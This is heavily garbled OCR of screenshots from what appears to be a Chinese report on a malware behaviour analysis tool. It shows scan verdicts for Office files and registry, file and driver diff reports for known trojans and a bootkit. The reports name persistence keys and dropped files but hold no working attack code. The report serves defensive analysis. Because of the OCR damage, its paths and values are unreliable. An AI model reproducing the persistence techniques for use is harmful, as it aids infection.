" OLE Vulnerability found,
_ CALLPOPfound |
Advice:
1. Please do not open or execute this file,
2. Please convert the file format before opening it.
¢ ox
- EOTENSET: EI@

|irmediafdiskiword 3REE0118/HEE0118.doc

2] » ][]

Analysis complete!
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7z 7 OLE &k 11 2 call/pop Fixls #) % 1

| AnglysisCornplete? @
1 Result : Suspicious
%u
Threats:
" OLE Vulnerability ﬁ::una:
__CALLPOPfound ___
Advice:
1. Please do not open or execute this file,
2. Please convert the file format before opening it.
+«
¢ ox
- EOTENSET EI@
|imedia/disk/Excel/20071128-2k3 Hg A EFiH Xs |‘ > H (2 H H ‘

Analysis complete!
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A A

%

f

OLE /&iF ~call/pop 1 2 ¥ 4 F ¢ ehixls ff %k 2

.

]

Analysis Completet @

Result : Suspicious

Threats:
URI found
Windows UNC Path found
Unix Path found
Embed found
' OLE Vulnerability found !
| _CALL/POPfound !
Advice:
1. Please do not open or execute this file.
2. Please convert the file format before opening it.

-

EOTENSETS EI @

Imedia/disk/Excelf&#/contact xls | ‘ ;‘_.‘r ‘ ‘ h\r’ ‘ ‘ H ‘

Analysis complete!
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- FOTENSETS EI@

|fmediafdiskaxceIfE%fcontact.><|S | ‘ ,‘,.‘r ‘ ‘ hﬁ ‘ ‘ H ‘

Analysis complete!

- FOTENSETS EI@

|fmediafdiskaxceIfE%fcontact.><|S | ‘ ,‘,.‘r ‘ ‘ hﬁ ‘ ‘ H ‘

Analysis complete!
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A

% call/pop 11 %2 ¥ s F ¢ hppt % 1

-

Forenser:

Jhome/cwwang/officecat/examplepowerpoint.ppt

Analysis Complete!

Result : Suspicious

Threats:

URI found

Windows UNC Path found
Unix Path found. _

Embed found |
CALL/POP found 1

1. Please do not open or execute this file,
2. Please convert the file format before opening it.

2/ » ] M

Analysis complete!

-

FOTeENsEr:

=5

Jhomejewwangj/officecat/examplepowerpoint.ppt

ntro.html

2] ] )

Analysis complete!
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- Eorensers EI @

L

Jhomefcwwang/officecat/examplepowerpoint.ppt |‘ 2

> )]

Analysis complete!
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7z 7 call/pop 14 % SEH Loading 7 shs 4 &

‘m ANdlysis ICoTnplieETe? @W

Result : Malicious

Threats:
Windows UMNC Path found
CALLPOP found

e e

Advice:
1. Mewver open or execute this file!
2. Please send this file back to analyze.

- FOTENSET EI@

| /mediaydisk/shs/20071123-shs /i B 5. shs | ‘ 10 H L?w H H ‘

Analysis complete!
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% > bmp #h &

m Analysis Cump@
1 Result : Safe
Threats:
Advice:
Mone,
" M
[ ]
- EOTENSEer: El@
| imedia/disk/1.brmp | ‘ > ‘ ‘ b ‘ ‘ H ‘

Analysis complete!
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2V AT R drhtml fh%

] ANdlysIsTICoTnplieELe? @
1L Result : Suspicious
%u
Threats:
« URIfound S
. Windows UNC Path found |
| Unix Path found !
Advice:
1. Please do not open or execute this file,
2. Please convert the file format before opening it.
+
¢ ox
- EOTENSETS El@
Jmedia/diskjother/poc.html | ‘ 2-—" ‘ ‘ uﬁ ‘ ‘ H ‘

Analysis complete!
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BIHL AR 1 A PR

- AnalysisTCornpletet

Result : Suspicious

Threats:
Suspicious String found

£

Advice:

1. Please do not open or execute this file,
2. Please convert the file format before opening it.

L HOTENSETS

=i

|jmedlajd\skjotherjpoc.exe

fo/msinfo.htm

fo.htm

CRLF line terminators

fil

(][> |[ ]

Hidden Binary Code Scanning complete!
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FF AR

‘m ANdlysISTCoTnpIELE? @W

Result : Suspicious
Warning! This is an executable file.

< Threats: ____________________ .
| _Unknown packer found 5
Advice:

1. Please do not open or execute this file.
2. Please convert the file format before opening it.

- FOTeEnser: EI @

|/media/disk/Exe/bad/0CaC4681802F exe | ‘ 73 ‘ ‘ b ‘ ‘ H ‘

UNC Path =

) Intel

CHT UNINITIALIZE

MEM WRITE, CNT_CODE, MEM_|

MEM WRITE, CNT_INITIAL ) MEM_READ

Code Obfuscation Analysis complete!
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FF VR AP & ¢ SR A

~ T
- AnalysisTCornpletet @

Result : Suspicious
Warning! This is an executable file.
< Threats:

Advice:
1. Please do not open or execute this file,
2. Please convert the file format before opening it.

- EOTENSET E@

|,.frned\ajdiskjExefF-BadExejsendsr\r.exe | ‘ 2.:— ‘ ‘ b ‘ ‘ H ‘

CODE, MEM

CNT_INITIALIZED I

Code Obfuscation Analysis complete!
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=" \ D) K¢ "\

B. ERxA/ AT 2
TERELANANT 2080 L5 7 F PG start MBAsh s o gL
Bzt Keg NIRRT 3% o ¥ Runin Terminal” » ¥ &5 & ¢ & )

T- BAAREEART

[ 7% 4-76 BEHE"start_MBA.sh"BIAET T AT HER -

{3 Applications Places System ‘)@ [>_]

mba-for-prj

ubiquity-gtkui.
desktop

(@7 4-77 BRI S T o ATiE S

Do you want to run "start MBA.sh",
@ or display its contents?

"start MBA.sh" is an executable text file.

Run in Terminal | Display ] Cancel ] Run |

NI AR EEART 218 0 BT Choose a file” 4o ¥ gENEH

TR o ERARF ARG R R FEP AT o T AT R

Wik PR AT st R BT FREMHET o AN GE
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s

ntdelect. com” % £77 # °

(B9 4-78 BEIEAE AL

© © ® Malware Behavior Analyzer

[ 4-79 BEEEAEAEOIE -

# || home mba  Deskiop mba-forprj | sample

Places Name ¥ Size Modified

Q, search & fuexe 168.1 KB 11/22/2010

&) Recently Used | <@ ntdelect.com 75.9KB  11/22/2010

& root 4 pic.exe 1.2MB | 11/22/2010

£ File System <» rewritembr.exe 321.5KB|11/22/2010
@ vexe 180.5 KB 11/22/2010
< wow.exe 77.6 KB | 11/22/2010

N

| Executabls files v

Lens []
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FTopen”2 {5 o B-g AL T o T BORER EH-€

o7 script cnfTfice PERDT T p Brratk B

,

P

\

%
<

—

) g

Ak e % 2x & “~/public_html/index.html”

g i Y

\ 2
==

L

57 P

WP

2.

(k4

Boet v firefox 7 E - B IR A 470

&% 4-80 BT T HUA It E U HE M (7%

File Edit View Terminal Help

Analyzing /home/mba/Desktop/mba-for-prj/sample/ntdelect
devic

char e redi

[

ed to /dev/pts/1

rect

1 77

Figure 1 #4752

4

2@ @ Mozilla Firefox

file

ew Hi
[ & (8] file/mhomembaipublic_hemiindex.heml

8] fle:/ihamesmb.. htmifindex. html | o

.CO

of 189 done ]

Report for logs/ntdelect.com.log

BOTH:+ > HKEY_LOCAL_MACHINE/SOFTWARE/MicrosoftyWindows/CurrentVersion/Explorer/Advanced/Folder/Hidden

JSHOWALL/CheckedValue 01000000[4]

OUT :+ >07c508

OUT :+ > HKEY CURRENT USER/SOFTWARE,
‘\kavo.exe

indows/CurrentVersk CAWINDC

Ji$Bitmap
/De

and x
D and 5 ocal Setth y/History.IE5/Index.dat
/Documents and Settings/dsns/Local Settings/Temporary Internet Files/Content.IE5/index.dat
D and 1 Settings/Te 7.dll
/Documents and Settings/dsns/NTUSER.DAT

/Documents and Settings/dsns/NTUSER.DAT.LOG

Ji$LogFile

HSMFT

JISMFT:N/A

* -ORPHAN FILE-/lang-1048.dll

* FORPHAN_FILE-flang-1110.d11
/WINDOWS,SoftwareDistribution/DataStore/DataStore.edb

JWINDO! ity StorefLogs/edb.log
WINDOWS/SoftwareDistribution/DataStore/Logs/tmp.edb
WINDOWS/system32/config/AppEvent Evt
WINDOWS/system32/config/software
IWINDOWS/system32/config/software.LOG
WINDOWSsystem32/config/SysEvent. Evt
WINDOWS;system32/config/system
WINDOWS/system32/config/system.LOG

JWINDOWS;/system32/kavo0.dll

JWINDOWS/system32/kavo.exe

pwdag

WINDOWS/WindowsUpdate.log

qemucmd dump_ mem /mnt/ramdisk/me
=r10_in exec winReg.exe -R HKEY_LOC
=r0_in exec winReg.exe -R HKEY_LOC
=r0_in exec winReg.exe -R HKEY LOC
\RunOnce

=0 in exec winReg.exe
\RunOnceEx

=10 in exec winReg.exs
\RunServices

=r0_in exec winReg.exe
\RunServicesEx

=r0)_in exec winReg.exs
\Explorer

=10 in exec winReg.exe
=10_in exec winReg exe
\Explorer

=r0_in exec winReg.exe
=10 in exec winReg.exe
=10 _in exec winReg.exs
=r0_in exec winReg.exe
\RunServicesEx

=r0_in exec winReg exe
\RunServicesOnce

=r0) in exec winReg.exe
=rf)_in exec winRegexa
=10 in exec winReg.exe
=10_in exec winReg exe
=r0_in exec winReg.exe
=10 in exec winReg.exe
=10 _in exec winReg.exs
=r0_in exec winReg.exe

=r0_in exec winReg.exe
I

-R HKEY LOC
-R HKEY_LOC
-R HKEY_LOC
-R HKEY_LOC

<R HKEY_LOC
R HKEY_USE

-R HKEY USE
-R HKEY CUR
-R HKEY CUR
R HKEY_CUR

-R HKEY_CUR

-R HKEY CUR
-R HKEY_CUR
-R HKEY_USE
-R HKEY_USE
-R HKEY USE
-R HKEY USE
-R HKEY_USE
R HKEY_USE
-R HKEY USE

B
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432 EABIEIARFEREFER

(a) ntdelect.com

L] z @ Packed.Win32.NSAnti.r (Kaspersky), Generic.dx (McAfee),

W32.Gammima.AG  (Symantec), TR/Crypt.NSPM.Gen  (Avira),
Mal/Dorf-D (Sophos)

v

74
> #7H %System%)\kavo.exe
> #7173 %System%\kavoO.dll
> #73 %Temp%\[RANDOM FILE NAME].dII
> #TH %System%)\wincab.sys

HKEY_ CURRENT_USER\Software\Microsoft\Windows\Current\Versio

n\Run\"kava" = "%System%\kavo.exe"

\\\?{y
<le
R

L
Symantec

http://www.symantec.com/zh/tw/security response/writeup.jsp?docid=2007

-082706-1742-99&tabid=2

Trend Micro

http://about-threats.trendmicro.com/ArchiveMalware.aspx?language=tw&n

ame=WORM_NSPM.AEB
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http://www.symantec.com/zh/tw/security_response/writeup.jsp?docid=2007-082706-1742-99&tabid=2
http://www.symantec.com/zh/tw/security_response/writeup.jsp?docid=2007-082706-1742-99&tabid=2
http://about-threats.trendmicro.com/ArchiveMalware.aspx?language=tw&name=WORM_NSPM.AEB
http://about-threats.trendmicro.com/ArchiveMalware.aspx?language=tw&name=WORM_NSPM.AEB

Report for logs/ntdelect.com.log

Regiztry Diff Scanning

HEEY LOCAL MACHINE/SOFTWARE/Microzoft/Vindows/CurrentVerzion/Explorer/idvanced/Folder/Hidden/SHOWALL

< ] »

Dizk Diff Scanning

VITNDOTS WSof twareDigtribution\DataStore‘DatasStore.edb

VITHDOTSVSaftwareDistributiontDataStoretLogatedh. log

VITNDOTSVSoftwareDistributiont\DataStoret\Loge\ tup. edb

VITHDOTS Yeyaten32hconf ighAppEvent .Evt

VITHDOTS vavaten32vwben \Repos i tory\FS\INDER .ETR

VITHDOTS vayaten32 v wben\Repog i tory\FSA\HAPP ING2  MAF

VIINDOTS veyeten2hvwhben\Repog itory\FSAIBTECTS . DATA

VITNDOTS veyaten3 2 wben\Repog i tory\FSVOBJECTS  MAP

VIINDOTS T indowslpdate, log

-

Driver Diff Scanning

Size Bagze Nane File

0006000 Ox00fBFOBO00 wincab.sys VEPACATINDOWS Vavaten32hw incab. gva

IDT Dif

MER Modif

Hidden P




Hidden Reziatry Scanning

HEEY CTURRENT USER/SOFTWARE/Microsoft/Tindows/CurrentVersion/Run/kava C:ATINDOTS \svatend32tkavo . exe

HEEY LOCAL MACHINE/SYSTEM!ControlSet001/Services/Tepip/Paranetera/DheplaneServer 10.0.2.3

HEEY_LOCAL_MACHINE/STSTEM/Controlset001/Services/Tepip/Faraneters/Interfaces/ (CO01C0ET-B635-49F 7 -BF6
< ‘ »
HEEY _LOCAL MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters/ Interfaces/ {C961CDE7-B635-49F7-BF6
< ] »
HEEY LOCAL MACHINE/SYSTEM/Control3et001/Servicea/Tepip/Paranetersf Interfaces/ {C961CD87-E635-49F7-BFs
< ] H
HEEY_LOCAL_MACHINE/STSTEM/Controlset001/Services/Tepip/Faraneters/Interfaces/ (CO01C0ET-B635-49F 7 -BF6

< | »

Hidden File Scanning

\Documents and Settingatdenz\Local Settinge\Tenp'wdagnh?.d11

STINDOTS v evatend2kavo0.d]]

VIINDOTS v evatend2 i kavo. exe

ed at Fri Dec 17 15:57:07 +08
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(b)rewritembr.exe

u] # © StonedBootkit [McAfee]

= v

T = -

> #73# %SystemDrive%\Stoned\Applications\Forensic Lockdown
Software.sys

> #7H %SystemDrive%\Stoned\Applications\Hibernation File Attack.sys
> #7H %SystemDrive%\Stoned\Applications\Sinowal Loader.sys
> #7H %SystemDrive%\Stoned\Applications\Windows.sys

> #7H %SystemDrive%\Stoned\Drivers\Black Hat Europe 2007 Vipin
Kumar POC.sys

> #7H %SystemDrive%\Stoned\Drivers\Sinowal Extractor.sys
> #7H %SystemDrive%\Stoned\Drivers\Sinowal.sys
> HrRBBERMNT S

%SystemDrive%\Stoned\Master Boot Record.bak

\\\?{y

R

S EH
Symantec

http://www. symantec. com/security response/writeup. jsp?docid=

2009-072815-0454-99&tabid=2
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http://www.symantec.com/security_response/writeup.jsp?docid=2009-072815-0454-99&tabid=2
http://www.symantec.com/security_response/writeup.jsp?docid=2009-072815-0454-99&tabid=2

Report for logs/rewritembr.exe.log

VetonedApplications\Windows. ays

Wstoned\Drivers\Sinoval.ays

STINDOTS W Softwarelistribotioni\DataStore\DataStore. edb

WMITHDOTS \SoftyareDiztributiontDataStoret\Logeiedh, log

WMITHDOTS \Sof tyareDiztributiontDataStore \Logaitnp . edb

MITHDOTS Veveten32hconf g\ AppEvent . Evt

WMITHDOTS Vevaten32\wben\Repos itory \FSY INDEX .ETR

WMITHDOTS Vevaten32 v wben\Repos itory \FS\HAPPING2  MAP

WMITHDOTS Veveten32\wben\Repos itory A\ FS\OBJECTS . DATL

WMITHDOTS Vevaten3 2 wben\Repos itory \FSVOBJECTS  MAP

MITHDOTS AT indowelpdate. log

Driver Diff

MBE Hodified




HEEY LOCAL MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paranetera/DhepllaneServer 10.0,2.3

HEET LOCAL MACHINE/STSTEM/ControlSet001/Services/TepipfParaneterafInterfaces/{C961CD8T-Ba35-49F7 -EF6
< | »
HEET LOCAL MACHINE/STSTEM/ControlSet001/Services/TepipfParaneterafInterfaces/{C961CD8T-Ba35-49F7 -EF6
< I »
HEET LOCAL MACHINE/STSTEM/ControlSet001/Services/TepipfParaneterafInterfaces/{C961CD8T-Ba35-49F7 -EF6
< | »
HEET LOCAL MACHINE/STSTEM/ControlSet001/Services/TepipfParaneterafInterfaces/{C961CD8T-Ba35-49F7 -EF6

< ] >

Hidden File Scanning

Votonedi\dpplicationg\Forenzic Lockdown Software. avs

Vstoned\dpplications\Hibernation File dttack.ays

Stonediidpplicationg\Sinowal Loader.avs

Votoned\Drivera\Elack Hat Europe 2007 Vipin Eumar POC.zys

‘toned\Drivers\Sinowal Extractor.asvs

\Stonedi\dazter Boot Record.bak
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(c) autorun.pif
w) & @ Trojan.Win32.Pakes.dh (Kaspersky), W32.Arpiframe (Symantec),

BDS/Hupigon.Gen (Avira), Mal/EncPk-E (Sophos)

> #7H %Windows%)\setuprs1.PIF

> F7H %Windows%\lsass.exe

A%
She

HKEY_ LOCAL_MACHINE\System\CurrentControlSet\Services\
kkdc

\\\?{y
ol
=)

S
Trend Micro

http://about-threats.trendmicro.com/ArchiveMalware.aspx?language=tw&n

ame=WORM_RUNAUT.B
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http://about-threats.trendmicro.com/ArchiveMalware.aspx?language=tw&name=WORM_RUNAUT.B
http://about-threats.trendmicro.com/ArchiveMalware.aspx?language=tw&name=WORM_RUNAUT.B

Report for logs/autorun.pif.log

egigtry Diff Scanning

HEEY_LOCAL_MACHINE/STSTEM/ControlSet001/Services/kkdc/

HEEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/kkde/Digplaylane Eerberes Eey Distribution Centers

HEEY_LOCAL MACHINE/SYSTEM/ControlSet001/Services/kkdc/ErrorControl 00000000[4]

HEEY_LOCAL_MACHINE/SYSTEM/ControlZetO0]/Services/kkdc/InagePath CoATINDOWSY leaze. exe -netaves

HEEY _LOCAL _MACHINE/SYSTEM/ControlSet001/Services/kkdc/Objectlane LocalSyaten

HEEY LOCAL MACHINE/SYSTEM/Control3SetO01/Services/kkdc/Security/

HEEY_LOCAL_MACHINE/SYSTEM/Control3et001/Services/kkdc/Security/Security 01001480900000009c0000001400

< | >

HEEY_LOCAL MACHINE/SYSTEM/ControlSet001/Services/kkdc/Start 02000000[4]

HEEY_LOCAL_MACHINE/SYSTEM/Control3et001/Services/kkdc/Type 10010000[4]

Diagk Diff Scanning

STINDOWS SoftwareDigtributioniDataStorei\DataStore. edb

STINDOWS A SoftwareDigtribution\DataStoretLogatedb. log

VIINDOWS W SoftwareDiztribution\DataStore\Logattnp. edb

STINDOWS veveten32icontfighhppEvent . Evt

VTINDOWS veveten®2\vhen Loz \wheness. log

VIINDOWS A T indowalpdate. log

Driver Diff Scanning

Size Bage Wame File

Dx010000 0x00fafas000 Cdfs.SY2 \ovatenRoot \Svetend2\Driversi\Cdfs . SYS

QL+




HEE Modifica

HKEY_LOCAL MACHINE/SYSTEM/ControlSet001/Services/kkdc/Description ZESNEEEEN M BT SHITT Kert

< ] >
HEEY LOCAL MACHINE/SYSTEM/ControlSet00l/Services/LanmanServer/Paraneters/Guid 91fdf75fa3c154448718ec
3 ] >

HEEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters/DhepNaneServer 10.0.2.3

HEEY_LOCAL _MACHINE/SYSTEM/ControlSetO0l/Services/Tepip/Paraneters/Interfaces/{CO961C0D87-B635-49F7-EF6
< 1 >
HEEY_LOCAL_MACHINE/SYSTEM/ControlSetO0l/Services/Tepip/Paranetera/Interfaces/{C961CD87-B635-49F7-EF6
< 1 >
HEEY LOCAL MACHINE/SYSTEM/ControlSet00l/Services/Tepip/Paraneters/Interfaces/{CO961C087-B635-49F7-BF6
3 1 >
HEEY_LOCAL _MACHINE/SYSTEM/ControlSetO0l/Services/Tepip/Paraneters/Interfaces/{CO961C0D87-B635-49F7-EF6

< ] >

Hidden File Scanning

Srunauto..hantorun.pif

MITNDOTSY eass ave

SINDOWS v getupral PIF

ed time: 166.511874s
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(d)wow.exe

H % ¢ Trojan-PSW.Win32.Lmir.azh, Win32/PSW.Legendmir, PWS-WoW,
TSPY_WOW.HI
(I

> #7H %Windows%\Debug\DebugProgram.exe

> F7H %System%\command.pif

> F7H %System%\dxdiag.com

> #7H %System%\finder.com

> #7H %System%\msconfig.com

> #TH %System%!\regedit.com

> #7H %System%\rundlI32.com

> #7# %Windows%\1.com

> #7H# %Windows%\EXERoute.exe

> #7# %Windows%)\explorer.com

> #7H %Windows%\finder.com

> #7# %Windows%\winlogon.exe

> #7H %Program files%\Internet Exploren\iexplore.com

> #73 %Program files%o\Common files\iexplore.pif

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Torjan
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\\\?{r

=

&
9

Program C:\WINDOWS\WINLOGON.EXE
SOPHOS

http://www.sophos.com/security/analyses/viruses-and-spyware/trojwowea.h

tml
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http://www.sophos.com/security/analyses/viruses-and-spyware/trojwowea.html
http://www.sophos.com/security/analyses/viruses-and-spyware/trojwowea.html

Report for logs/wow.exe.log

stry Diff Scanning

HKEY=LOCﬁL=MACHINEISOFTWAREHMicrosofthindows!CurrentHersion!RunfTorjan Progran C:\TINDOWS\WINLOGON .

< ] >

Digk Diff Scanning

AWINDOWSA L. com

AWINDOWS\Debug\DebugProgram. exe

VITNDOTS SoftwareDigtribution\DataStoret\DataStore. edb

VITNDOWS SoftwareDistribution\DataStore\Logstedb. log

VITHDOWS SoftwareDistribution\DataStore\Loga\tup.edb

VIIHDOTS\ eyaten32hconf iz dppEvent .Evt

VITHDOTSAT indowalpdate. log

Driver Diff Scanning

Size Bagze Name File

Dx010000 Dx00fb0Z4000 Cdfz.5T8 VovatenRBoot \Svaten32\Drivers\Cdfa. 575

Socket Diff Scanning

Pid Port Protocol

1464 1027 17

IDT Diff

Hidden Pr
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Hidden Re

HEET_LOCAL MACHINE/STSTEM/ControlSet001/Services/{C961CDET-B635-40F7-EF60-4FD 1AF304C40 /Paraneters/T
< ] »
HEET_LOCAL MACHINE/STSTEM/ControlSet001/Services/{C961CDET-B635-40F7-EF60-4FD 1AF304C40 /Paraneters/T
< ] »

HEETY LOCAL MACHINE/SYSTEM/ControlSet001/Services/Tcpip/Paraneters/DhepNaneServer 10.0.2.3

HEEY_LOCAL MACHINE/SYSTEM/ControlSet001/Servicea/Tcpip/Parameters/Interfaces/{CO01CDEY-BO35-49F7-EF6
< | >
HEEY_LOCAL MACHINE/SYSTEM/ControlSet001/Servicea/Tcpip/Parameters/Interfaces/{CO01CDEY-BO35-49F7-EF6
< | >
HEEY_LOCAL MACHINE/SYSTEM/ControlSet001/Servicea/Tcpip/Parameters/Interfaces/{CO01CDEY-BO35-49F7-EF6
< ] >
HEEY_LOCAL MACHINE/SYSTEM/ControlSet001/Servicea/Tcpip/Parameters/Interfaces/{CO01CDEY-BO35-49F7-EF6

< | >

Hidden File Scanning

VDocuments and Settingadvdensi\Local Settinga\Temp\~DFEDAL. tup

YVProgram Files\Common Fileshiexplore.pif

“Program FilesiInternet Exploreriiexplore.con

ALLMDOYS \EXERoute  exe

ANIHDOWS explorer. com

VITHDOUS A f inder. con

VITHDOWS vevaten32connand . pif

WHIRDOWS evetend2hdudiaz, con

Y INDOWS\systeE§2\f1nder.co&

WWHHDOWS \gyetend AHECONFIG . COM

Y INDOWS\systeE§2\regedit.com;

AIIHDOS bayatend2hrund 1132, con

VITNDOWS AW INLOGON . EXE




(e) v.exe

w) % @ Packed.Win32.Krap.b(Kaspersky), PWS-Gamania.gen.a(McAfee),

TR/Crypt. XPACK.Gen(Antivir)

> #7H %Windows%\Debug\sysutils32.dll

> F7H %System32%)\sysutils.exe

\\\?{s-
e
R

ANCHIVA

http://www.anchiva.com/virus/n view.asp?lang=en&vname=Spyware/OnL.i

neGames.FO60!pws
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http://www.anchiva.com/virus/n_view.asp?lang=en&vname=Spyware/OnLineGames.F060!pws
http://www.anchiva.com/virus/n_view.asp?lang=en&vname=Spyware/OnLineGames.F060!pws

Report for logs/v.exe.log

HEEY LCCAL MACHINE/SOFTTARE/Microzoft/Windowg/CurrentVersion/Explorer/ShellExecuteHooka/{ [4C049F9-55
£ 1 >

VTINDOWS Y Softwarelistribution\DataStoreiDataStore. edb

VMITHDOWS Softwareliztribution\DataStoret\Logatedh. log

VITHDOWS Softrareliztribution\DataStore\Logahtnp. edb

VITHDOWS v evatend2hcont igbhppEvent . Evt

MITHDOWS v eyaten?2ayautila. exe

STINDOWS evetend2\whben\Repog itorv\FS\ INDEX . ETE

STINDOWS v evetend2\when\Repoz itor v \FS\HAPPING2  MAP

STTHDOTS v avetend2\when\Repog itory\FS\OBIECTS . DATA

STTRDOTS vaveten32\wbem\Repoz itorv\FSVOBIECTS  MAP

STTRDOWS T indowelpdate. log

Driver Diff

Hidden Pro
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Hidden

HEEY _LOCAL MACHINE/SYSTEM/ControlSet001/Services/ {C961CD87-B635-49F7-BF69-4FD IAF3D4C49 /Paraneters/T
< | by
HEEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/ {CO961CDET-B635-49F7-BF69-4FD IAF3D4C49 /Paraneters/T
< | y

HEEY LOCAL MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters/DhepllaneServer 10.0.2.3

HEEY _LOCAL MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters/Interfaces/{CO61CDETY-BA35-45FT-BFG
< ] »
HEEY LOCAL MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters!Interfaces/{CO61CDET-BA35-49FT-BFh
< ] »
HEEY _LOCAL MACHINE/SYSTEM/ControlSet001/Services/TepipfParaneters/Interfaces/{CO61CDET -BA35-49FT-BF6
< ] »
HEEY _LOCAL MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters/Interfaces/{CO61CDETY-BA35-45FT-BFG

< | y

Hidden

STTHDCOTS \Debughavantile32.d11
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(f) futo.bat

> ‘£ notepad.exe 42 5

R SR A G- Tl L o A IR ELARS S TRERY FER R
H T » B FREH LR R CER 0 @ B4 Taskmgr.exe % 25 7))
B L@z B7 & £ BRI TR 0 o fRRIER > A

i 4p T_notepad.exe & EF %

\\\?{s-

R

=4
J

OpenRCE

http://www.openrce.org/articles/full view/19
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http://www.openrce.org/articles/full_view/19

Report for logs/futo.bat.log

'y Diff Scanning

HEEY LOCAL MACHINE/STSTEM/ControlSetQ0l/Services/nadirectx/

HEEY LOCAL MACHINE/SYSTEM/ControlSet001/Services/nadirectx/Displayane nadirectx

HEEY LOCAL MACHINE/SYSTEM/ControlSet001/Servicez/nedirectx/ErrorControl 01000000[4]

HEEY_LOCAL_MACHINE/SYSTEM/ControlSet00l/Services/nedirecty/ InagePath V¥PA\C:\Documents and Settineeid

HEEY LOCAL MACHINE/STSTEM/ControlSetQ0l/Services/nadirectufSecurity/

HEEY LOCAL MACHINE/SYSTEM/ControlSet001l/Services/nadirectx/Securitv/Security 0100148090000000900000

HEEY_LOCAL _MACHINE/SYSTEM/ControlSet001l/Services/nedirectx/Start 03000000[4]

HEEY LOCAL MACHINE/SYSTEM/ControlSet001/Servicez/nadirectx/Type 01000000[4]

Dizgk Diff Scanning

JWINDOUS /Softwarelistribution/DataStore/DataStore. edb

JWINDOTS/SoftwareDistribution/DataStore/Logs/edh. log

JMINDOTS /SoftwareDigtribution/DatasStore/Loga/tmp.edb

STINDOTS avateni2fconfig fhppEvent .Evt

STINDOVS feyaten32fconf ig/goftvare

JTINDOTS  ayaten32fconfigfsoftvare . LOG

JWINDOTS ayeten32/config/SyeEvent .Evt

JMINDOWS /evatend2iconfig/ayaten

STINDOTS avatend2fconfigfavaten. LOG

STINDOVS  avaten32fvben/Logafwbencore. log

STINDOVS ! avaten32/when/Repository/FS/ INDEE .BTR

JWINDOTS eyeten32/vwhen/Repogitory/FS/OBIECTS . DATA

JTINDOWS /Windowalpdate. log

ST




Driver Diff Scanning

Size Baze Wamne File

settingatidengVhubddchud762 \ngd irecty. gve and 0x00fH 194000 VIPAC A Documents

Hidden Pr

notepad.exe

Hidden

HEEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/Sharediccess/Epoch/Epoch 76000000[ 4]

HEEY LOCAL _MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters/DhepllameServer 10.0.2.3

HEET_LOCAL _MACHINE/STSTEM/ControlSet001/Services/Tepip/Paraneters/Interfaces/{C961CD87-B635-49F7-BF6
< ] >
HEEY LOCAL _MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters/Interfaces/{CO61CDET-B635-49F7-BF6
< ] »
HEET_LOCAL _MACHINE/STSTEM/ControlSet001/Services/Tepip/Paraneters/Interfaces/{C961CD87-B635-49F7-BF6
< 1 >

HEEY LOCAL _MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters/Interfaces/{CO61CDET-B635-49F7-BF6

< ] >
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(g) table.exe
I

7=

v
T &

FERAZEFARD FE

» 1% 18 Driver(mba. sys) %t @ e SSDT 12

2 DT ig 7 i scie @ i 5] Hooking smick -

4 -~

\\\Xr
e
R
e

=

i
o]
5

’\m
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Report for logs/table.exe.log

egigtry Diff Scanning

HEEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/MALVARE service/

HEET LOCAL MACHINE/SYSTEM/ControlSet001/Services/MALTARE zervice/DizplayName MALWARE service

HEEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/MALVARE service/ErrorContral 01000000[4]

HEET LOCAL MACHINE/SYSTEM/ControlSet001/Services/MALTARE zervice/InagePath V7?70\C:'\mba.sve

HEEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/HALVARE service/Security/

HEET LOCAL MACHINE/SYSTEM/ControlSet001/Services/MALTWARE zervice/Security/Security 01001430900000009

HEEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/MALVARE service/Start 03000000[4]

HEET_LOCAL_MACHINE/STSTEM/ControlSet001/Services/MALVARE service/Type 01000000[4]

Digk Diff Scanning

{Documents and Settings/deng/NTUSER.DAT

{Docunents and Settings/dans/NTUSER.DAT.LOG

MTINDOWS fSoftyareDigtribution/DataStore/DataStore. edb

[MINDOTS fSoftrareDistribution/DataStore/Logaiedb. log

ATINDOWS fSoftyareDigtribution/DataStore/Logg/ tnp. edb

[MINDOTS favaten32/ config/AppEvent .Evt

ATINDOWS fevatend2/config/gsoftware

[MINDOTS favaten32/config/software . LOG

ATINDOWS fevatend2/conf ig/SvaEvent .Evt

[MINDOTS favaten32/conf igfaysten

ATINDOWS fevatend2/conf ie/svaten. LOG

SMINDOWS /M indowalpdate. log




Driver Diff

Slze Eage Hane File

0x006000 0x00fbT0O3000 mba.sye V?7VC:hvnba.svs

{04010

IDT Diff

00084000 fbfleell

Hidden

HEEY LOCAL_MACHINE/SYSTEM/ControlSet001/Services/Sharediccess/Epoch/Epoch 76000000 4]

HEEY LOCAL MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters/DheplaneServer 10.0.2.3

HEEY_LOCAL_MACHINE/SYSTEM/ControlSetO01/Services/Tcpip/Parameters/Interfaces/ {C961CD87-B635-49F7-BF6
< ] >
HEEY LOCAL_MACHINE/SYSTEM/ControlSet001/Services/Tepip/Paraneters/Interfaces/ {CO61CDET-B635-49F7-EBF6
< ] »
HEEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/Tepin/Paraneters/Interfaces/ {CO61CDE7-B63L- 49F7-BF6
< ] >

HEEY LOCAL MACHINE/SYSTEM/ControlSetO01/Services/Tepip/ParanetersfInterfaces/{C961CD8T-B635-49F7-BF6

< ] »
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C. ScH8 R 4078 KK 4 +7
BHCH R Ao AR R A 4TINS > AP HEE G A AR ERAL o 4 B[ E TR

SRR o

21

Lk
il

433 ReBEFLHELITLIE - AP

ERAFE RGBS R AR Y PR AT FREFR  FR
